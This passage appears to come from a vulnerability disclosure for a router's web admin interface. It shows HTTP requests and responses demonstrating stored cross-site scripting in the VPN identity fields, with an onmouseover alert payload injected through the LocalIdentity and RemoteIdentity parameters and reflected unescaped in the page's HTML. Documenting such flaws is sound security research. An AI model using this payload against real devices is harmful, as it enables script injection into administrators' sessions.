NegotiationMode=0&LocalIdentityType=2&LocalIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&RemoteIdentityType=2&RemoteIdentity=abc%22+onmouseover%3Dalert%28%27XSS%27%29+x%3D%22y&Phase1Encryption=2&Phase1Authentication=1&Phase1DhGroup=0&Phase1SaLifetime=28800&Phase2DhGroup=0
|
|
|
|
#1 - Response:
|
|
HTTP/1.0 302 Redirect
|
|
Server: PS HTTP Server
|
|
Location: http://192.168.100.1/vpn_adv.asp
|
|
Content-type: text/html
|
|
Connection: close
|
|
|
|
#2 - Request:
|
|
GET /vpn_adv.asp HTTP/1.1
|
|
Host: 192.168.100.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: pl,en-US;q=0.7,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Referer: http://192.168.100.1/vpn_adv.asp
|
|
Cookie: Lang=en; SessionID=1320560
|
|
Connection: close
|
|
|
|
#2 - Response:
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Expires: Thu, 3 Oct 1968 12:00:00 GMT
|
|
Pragma: no-cache
|
|
Cache-Control: no-cache, must-revalidate
|
|
Connection: close
|
|
Content-Length: 10179
|
|
(...)
|
|
<td>
|
|
<input type="radio" name="LocalIdentityType" value="2" onClick="LocalIdentityTypeClicked();" />
|
|
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
|
|
<input type="text" name="LocalIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
|
|
</td>
|
|
(...)
|
|
<tr>
|
|
<td>
|
|
<input type="radio" name="RemoteIdentityType" value="2" onClick="RemoteIdentityTypeClicked();">
|
|
<script language="javascript" type="text/javascript">dw(vs_identity_name);</script>
|
|
<input type="text" name="RemoteIdentity" size="16" maxlength="32" value="abc" onmouseover=alert('XSS') x="y" />
|
|
</td>
|
|
</tr>
|
|
(...) |